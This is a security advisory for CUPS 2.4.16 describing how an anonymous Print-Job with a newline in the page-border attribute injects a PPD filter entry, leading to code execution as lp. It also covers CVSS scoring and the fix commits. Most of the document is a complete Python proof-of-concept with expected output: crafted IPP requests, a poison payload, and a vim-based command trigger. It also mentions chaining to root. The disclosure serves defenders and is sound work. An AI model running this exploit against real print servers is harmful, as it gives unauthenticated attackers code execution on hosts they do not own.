Skip to content

Shared PostScript queue lets anonymous Print-Job requests reach `lp` code execution over the network

Moderate
michaelrsweet published GHSA-4852-v58g-6cwf Mar 31, 2026

Package

cups

Affected versions

2.4.16

Patched versions

2.4.17

Description

Summary

In a network-exposed cupsd with a shared target queue, an unauthorized client can send a Print-Job to that shared PostScript queue without authentication. In CUPS 2.4.16 (also tested master tip 7dc51ee), the server accepts a page-border value supplied as textWithoutLanguage, preserves an embedded newline through option escaping and reparse, and then reparses the resulting second-line PPD: text as a trusted scheduler control record. A follow-up raw print job can therefore make the server execute an attacker-chosen existing binary such as /usr/bin/vim as lp.

Note: when chained with GHSA-c54j-2vqw-wpwp or https://github.com/OpenPrinting/cups/security/advisories/GHSA-625v-6g8p-wm8p, the chain can give an unauthenticated, unprivileged remote attacker root file overwrite (effectively root on typical Linux) over the network. I can provide the PoC for the chain if that is helpful as well.

Details

On a network-exposed deployment, the path is reachable without authentication: conf/cupsd.conf.in:69 allows anonymous Print-Job, and scheduler/ipp.c:1198 only blocks remote printing when the target queue is not shared. Once the job is accepted, scheduler/job.c:4005 and scheduler/job.c:4113 serialize attacker-controlled job attributes into the filter options string while escaping newlines with backslashes. cups/options.c:380 removes those backslashes during reparsing and preserves the embedded newline in the value that reaches filters. filter/pstops.c:2518 and filter/pstops.c:2532 log the invalid page-border value through _cupsLangPrintFilter, but cups/langprintf.c:122 only prefixes the first output line, so the attacker controls a naked second line beginning with PPD:. scheduler/statbuf.c:259 treats PPD: as a trusted scheduler control record, scheduler/job.c:5392 reparses it with cupsParseOptions, and scheduler/job.c:3623 writes the result back into the queue PPD. On the next raw job, the injected cupsFilter2 entry controls the filter path, and the filter still runs under the normal unprivileged CUPS user per scheduler/job.c:1203 and scheduler/process.c:504.

PoC

Adjust PREFIX and other top-level tunables as required, then execute the script as root (root is required only for setup):

Repro script (Click to expand)
#!/usr/bin/env python3
from __future__ import annotations

import http.client
import os
import signal
import struct
import subprocess
import time
from pathlib import Path

PREFIX = Path("/usr/local/cups-2.4.16")
WORK = Path("/tmp/f001-repro")
QUEUE = "psclean"
SINK_PORT = 9101
OWNED = PREFIX / "var/spool/cups/tmp/owned.txt"
PPD = PREFIX / f"etc/cups/ppd/{QUEUE}.ppd"
LOG = PREFIX / "var/log/cups/error_log"
CUPSD = PREFIX / "sbin/cupsd"
LPADMIN = PREFIX / "sbin/lpadmin"
SINK_PID = WORK / "sink.pid"

TAG_OPERATION = 0x01
TAG_JOB = 0x02
TAG_END = 0x03
TAG_CHARSET = 0x47
TAG_LANGUAGE = 0x48
TAG_URI = 0x45
TAG_NAME = 0x42
TAG_TEXT = 0x41
TAG_MIMETYPE = 0x49
OP_PRINT_JOB = 0x0002


def print_breaker(title: str) -> None:
    print(f"*** {title} ***".upper())


def run(cmd: list[str], *, check: bool = True) -> subprocess.CompletedProcess[str]:
    proc = subprocess.run(cmd, text=True, capture_output=True)
    if proc.stdout:
        print(proc.stdout, end="")
    if proc.stderr:
        print(proc.stderr, end="")
    if check and proc.returncode != 0:
        raise SystemExit(f"command failed: {' '.join(cmd)}")
    return proc


def require_root() -> None:
    if os.geteuid() != 0:
        raise SystemExit("run as root: sudo python3 F001-repro.py")


def require_install() -> None:
    if not CUPSD.exists():
        raise SystemExit(f"missing CUPS install at {CUPSD}")
    if not Path("/usr/bin/ncat").exists():
        raise SystemExit("missing /usr/bin/ncat")


def attr(tag: int, name: str, value: bytes) -> bytes:
    name_bytes = name.encode("utf-8")
    return (
        bytes([tag])
        + struct.pack(">H", len(name_bytes))
        + name_bytes
        + struct.pack(">H", len(value))
        + value
    )


def submit_print_job(
    *,
    request_id: int,
    user: str,
    job_name: str,
    document_format: str,
    document: bytes,
    page_border: str | None = None,
) -> None:
    body = bytearray(struct.pack(">BBHI", 1, 1, OP_PRINT_JOB, request_id))
    body += bytes([TAG_OPERATION])
    body += attr(TAG_CHARSET, "attributes-charset", b"utf-8")
    body += attr(TAG_LANGUAGE, "attributes-natural-language", b"en")
    body += attr(TAG_URI, "printer-uri", f"ipp://127.0.0.1:631/printers/{QUEUE}".encode("utf-8"))
    body += attr(TAG_NAME, "requesting-user-name", user.encode("utf-8"))
    body += attr(TAG_NAME, "job-name", job_name.encode("utf-8"))
    body += attr(TAG_MIMETYPE, "document-format", document_format.encode("utf-8"))
    if page_border is not None:
        body += bytes([TAG_JOB])
        body += attr(TAG_TEXT, "page-border", page_border.encode("utf-8"))
    body += bytes([TAG_END])
    body += document

    conn = http.client.HTTPConnection("127.0.0.1", 631, timeout=10)
    conn.request(
        "POST",
        f"/printers/{QUEUE}",
        body=body,
        headers={"Content-Type": "application/ipp"},
    )
    response = conn.getresponse()
    payload = response.read()
    print(f"HTTP {response.status} {response.reason} body_len={len(payload)}")
    if response.status != 200:
        raise SystemExit("IPP request failed")


def read_text(path: Path) -> str:
    if not path.exists():
        return ""
    return path.read_text(encoding="utf-8", errors="replace")


def show_matches(title: str, text: str, needles: tuple[str, ...]) -> None:
    print_breaker(title)
    matched = [line for line in text.splitlines() if any(needle in line for needle in needles)]
    if matched:
        print("\n".join(matched))
    else:
        print("(no matches)")


def reset_state() -> subprocess.Popen[str]:
    print_breaker("RESET CUPS AND QUEUE")
    run(["rm", "-rf", str(WORK)])
    run(["mkdir", "-p", str(WORK)])
    run(["systemctl", "stop", "cups.service", "cups.socket"], check=False)
    run(["pkill", "-9", "-x", "cupsd"], check=False)
    run(["pkill", "-9", "-x", "ncat"], check=False)
    time.sleep(1)

    conf = PREFIX / "etc/cups/cupsd.conf"
    conf_text = conf.read_text(encoding="utf-8")
    if "LogLevel debug2" not in conf_text:
        conf_text = conf_text.replace("LogLevel warn", "LogLevel debug2")
    conf.write_text(conf_text, encoding="utf-8")

    run(["rm", "-f", str(PREFIX / "etc/cups/printers.conf"), str(PREFIX / "etc/cups/printers.conf.O")], check=False)
    run(["bash", "-lc", f"rm -f {PREFIX}/etc/cups/ppd/*.ppd {PREFIX}/etc/cups/ppd/*.ppd.O"], check=False)
    run(["rm", "-f", str(LOG), str(PREFIX / "var/log/cups/error_log.O"), str(OWNED)], check=False)
    run(["bash", "-lc", f"rm -f {PREFIX}/var/spool/cups/tmp/* {PREFIX}/var/spool/cups/c* {PREFIX}/var/spool/cups/d*"], check=False)

    run(
        [
            "bash",
            "-lc",
            f"nohup /usr/bin/ncat -lk 127.0.0.1 {SINK_PORT} >/dev/null 2>&1 & echo $! > {SINK_PID}",
        ]
    )
    time.sleep(1)

    cupsd_proc = subprocess.Popen(
        [str(CUPSD), "-f"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        text=True,
    )
    time.sleep(2)

    run(
        [
            str(LPADMIN),
            "-p",
            QUEUE,
            "-E",
            "-v",
            f"socket://127.0.0.1:{SINK_PORT}",
            "-m",
            "drv:///sample.drv/generic.ppd",
            "-o",
            "printer-is-shared=true",
        ]
    )
    time.sleep(2)
    if not PPD.exists():
        raise SystemExit(f"missing queue PPD: {PPD}")
    return cupsd_proc


def baseline(document: bytes) -> None:
    print_breaker("BASELINE")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=501,
        user="attacker",
        job_name="baseline",
        document_format="application/postscript",
        document=document,
    )
    time.sleep(4)
    ppd_text = read_text(PPD)
    log_text = read_text(LOG)
    show_matches("BASELINE PPD", ppd_text, ("*cupsFilter", "*cupsFilter2", "*NickName:"))
    show_matches("BASELINE LOG", log_text, ("Started filter", "/usr/bin/vim", "page-border", "PPD:"))
    if "/usr/bin/vim" in log_text:
        raise SystemExit("baseline unexpectedly started vim")
    if OWNED.exists():
        raise SystemExit("baseline unexpectedly produced owned file")
    print("baseline: no injected cupsFilter2 line")
    print("baseline: no vim filter started")
    print("baseline: no owned file created")


def poison(document: bytes) -> None:
    print_breaker("POISON")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=502,
        user="attacker",
        job_name="poison",
        document_format="application/postscript",
        document=document,
        page_border='bad\nPPD: cupsFilter2="application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim"\nX',
    )
    time.sleep(5)
    ppd_text = read_text(PPD)
    log_text = read_text(LOG)
    show_matches("POISON LOG", log_text, ("page-border", "PPD: cupsFilter2", "Started filter"))
    show_matches("POISON PPD", ppd_text, ("*cupsFilter", "*cupsFilter2", "*NickName:"))
    marker = '*cupsFilter2: application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim'
    if marker not in ppd_text:
        raise SystemExit("poison did not inject vim filter")
    print("poison: injected cupsFilter2 line present in psclean.ppd")


def trigger(document: bytes) -> None:
    print_breaker("TRIGGER")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=503,
        user="-es",
        job_name=f'-ccall writefile([system("id")],"{OWNED}")|qa!',
        document_format="application/vnd.cups-raw",
        document=document,
    )
    time.sleep(5)
    log_text = read_text(LOG)
    owned_text = read_text(OWNED).replace("\x00", "")
    show_matches("TRIGGER LOG", log_text, ("Started filter /usr/bin/vim", "argv[11]", "argv[12]", "argv[13]", "argv[14]"))
    print_breaker("OWNED FILE")
    print(owned_text if owned_text else "(missing)")
    if not OWNED.exists():
        raise SystemExit("trigger did not create owned file")
    if "Started filter /usr/bin/vim" not in log_text:
        raise SystemExit("trigger did not start vim filter")
    if "(lp)" not in owned_text:
        raise SystemExit("owned file does not show lp execution")
    print("trigger: vim filter started")
    print("trigger: owned file shows lp execution")


def cleanup(cupsd_proc: subprocess.Popen[str]) -> None:
    if SINK_PID.exists():
        sink_pid = int(SINK_PID.read_text(encoding="utf-8").strip())
        try:
            os.kill(sink_pid, signal.SIGTERM)
        except ProcessLookupError:
            pass
    if cupsd_proc.poll() is None:
        cupsd_proc.terminate()
        try:
            cupsd_proc.wait(timeout=3)
        except subprocess.TimeoutExpired:
            cupsd_proc.kill()


def main() -> int:
    require_root()
    require_install()

    postscript = b"%!PS\n/Courier findfont 12 scalefont setfont\n72 720 moveto\n(hello) show\nshowpage\n"
    raw_document = b"RAW\n"

    cupsd_proc = reset_state()
    try:
        baseline(postscript)
        poison(postscript)
        trigger(raw_document)
        print_breaker("RESULT")
        print("reproduced shared-queue ppd injection to lp code execution")
        return 0
    finally:
        cleanup(cupsd_proc)


if __name__ == "__main__":
    raise SystemExit(main())
Expected sample output (Click to expand)
*** RESET CUPS AND QUEUE ***
lpadmin: Printer drivers are deprecated and will stop working in a future version of CUPS.
*** BASELINE ***
HTTP 200 OK body_len=195
*** BASELINE PPD ***
*NickName: "Generic PostScript Printer"
*** BASELINE LOG ***
I [14/Mar/2026:17:35:36 +0000] [Job 1655] Started filter /usr/local/cups-2.4.16/lib/cups/filter/pstops (PID 240281)
baseline: no injected cupsFilter2 line
baseline: no vim filter started
baseline: no owned file created
*** POISON ***
HTTP 200 OK body_len=195
*** POISON LOG ***
d [14/Mar/2026:17:35:40 +0000] cupsdProcessIPPRequest: page-border textWithoutLanguage 'bad\nPPD: cupsFilter2=\\\"application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim\\\"\nX'
D [14/Mar/2026:17:35:40 +0000] [Job 1656] argv[5]="page-border=bad\\\nPPD:\\ cupsFilter2=\\\"application/vnd.cups-raw\\ application/octet-stream\\ -100\\ /usr/bin/vim\\\"\\\nX job-uuid=urn:uuid:004327b0-3cb0-3632-4416-f3ec3725481d job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1773509740 time-at-processing=1773509740"
d [14/Mar/2026:17:35:40 +0000] cupsdStartProcess: argv[14] = "page-border=bad\\\nPPD:\\ cupsFilter2=\\\"application/vnd.cups-raw\\ application/octet-stream\\ -100\\ /usr/bin/vim\\\"\\\nX job-uuid=urn:uuid:004327b0-3cb0-3632-4416-f3ec3725481d job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1773509740 time-at-processing=1773509740"
I [14/Mar/2026:17:35:40 +0000] [Job 1656] Started filter /usr/local/cups-2.4.16/lib/cups/filter/pstops (PID 240283)
d [14/Mar/2026:17:35:40 +0000] cupsdStartProcess: argv[14] = "page-border=bad\\\nPPD:\\ cupsFilter2=\\\"application/vnd.cups-raw\\ application/octet-stream\\ -100\\ /usr/bin/vim\\\"\\\nX job-uuid=urn:uuid:004327b0-3cb0-3632-4416-f3ec3725481d job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1773509740 time-at-processing=1773509740"
E [14/Mar/2026:17:35:40 +0000] [Job 1656] Unsupported page-border value bad
D [14/Mar/2026:17:35:40 +0000] [Job 1656] Set job-printer-state-message to "Unsupported page-border value bad", current level=ERROR
D [14/Mar/2026:17:35:40 +0000] [Job 1656] PPD: cupsFilter2=\"application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim\"
D [14/Mar/2026:17:35:40 +0000] [Job 1656] X, using page-border=none.
*** POISON PPD ***
*cupsFilter2: application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim
*NickName: "Generic PostScript Printer"
poison: injected cupsFilter2 line present in psclean.ppd
*** TRIGGER ***
HTTP 200 OK body_len=195
*** TRIGGER LOG ***
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[11] = "-es"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[12] = "-ccall writefile([system(\"id\")],\"/usr/local/cups-2.4.16/var/spool/cups/tmp/owned.txt\")|qa!"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[13] = "1"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[14] = "job-uuid=urn:uuid:2e89e77d-f8a7-3fdd-5072-0d3363d14494 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1773509745 time-at-processing=1773509745"
I [14/Mar/2026:17:35:45 +0000] [Job 1657] Started filter /usr/bin/vim (PID 240285)
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[11] = "-es"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[12] = "-ccall writefile([system(\"id\")],\"/usr/local/cups-2.4.16/var/spool/cups/tmp/owned.txt\")|qa!"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[13] = "1"
d [14/Mar/2026:17:35:45 +0000] cupsdStartProcess: argv[14] = "job-uuid=urn:uuid:2e89e77d-f8a7-3fdd-5072-0d3363d14494 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1773509745 time-at-processing=1773509745"
*** OWNED FILE ***
uid=4(lp) gid=7(lp) groups=7(lp)

trigger: vim filter started
trigger: owned file shows lp execution
*** RESULT ***
reproduced shared-queue ppd injection to lp code execution

Impact

In a remote-reachable cups deployment with a shared PostScript queue (whose server-side path reaches pstops) and a legacy/PPD path, an unauthorized remote attacker can achieve lp-level code execution on the CUPS server.

Proposed vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (9.2)

I am using v4 here as it better encodes the presence of some pre-reqs (network exposure, legacy path) via AT:P and differentiates between confidentiality/integrity/availability impact to CUPS (H) and to the system as a whole (N) -- v3 would've scored this too high.

Crediting

If I may request to be credited: please credit "Asim Viladi Oglu Manizada" (@manizada).

AI Use Disclosure

I used a custom AI agent pipeline to discover the vulnerabilities, after which I manually reproduced and validated each step.

EDIT:
The code was fixed by Mike at the time of publishing the vulnerability and it is referenced in the branches properly.

For the completeness:
master 399ad15 Filter out control characters from option values.

2.4.x 8d0f51c Filter out control characters from option values.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Adjacent
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

CVE-2026-34980

Weaknesses

No CWEs

Credits